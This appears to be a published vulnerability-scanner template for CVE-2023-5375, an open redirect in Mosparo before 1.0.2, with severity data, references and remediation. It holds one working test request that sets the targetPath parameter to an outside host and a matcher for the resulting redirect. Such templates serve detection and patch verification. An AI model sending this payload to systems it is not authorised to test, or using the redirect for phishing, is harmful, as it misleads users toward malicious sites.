CVE-2023-5375: Mosparo < 1.0.2 - Open Redirect

2025-08-01 Mosparo PoC Public

Description

Open Redirect in GitHub repository mosparo/mosparo prior to 1.0.2.

PoC

id: CVE-2023-5375

info:
  name: Mosparo < 1.0.2 - Open Redirect
  author: shankaracharya
  severity: medium
  description: |
    Open Redirect in GitHub repository mosparo/mosparo prior to 1.0.2.
  impact: |
    Unauthenticated attackers can exploit open redirect through the targetPath parameter to redirect users to malicious websites for phishing attacks.
  remediation: Update to the latest version of mosparo.
  reference:
    - https://huntr.dev/bounties/3fa2abde-cb58-45a3-a115-1727ece9acb9
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5375
    - https://github.com/mosparo/mosparo/commit/9d5da367b78b8c883bfef5f332ffea26292f99e8
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-5375
    cwe-id: CWE-601
    epss-score: 0.35128
    epss-percentile: 0.98356
    cpe: cpe:2.3:a:mosparo:mosparo:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: mosparo
    product: mosparo
  tags: cve2023,cve,huntr,mosparo,redirect,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/project/switch/1?targetPath=http://oast.pro"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)oast\.pro.*$'
# digest: 4b0a00483046022100e9757a29673c44298dfd3dc35204797cb1699a69454d1737723bc10b2cc95a6102210085f54778a1fe7c683f98f4b011d153c0d712850e59aa62987e3744644b056bb2:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities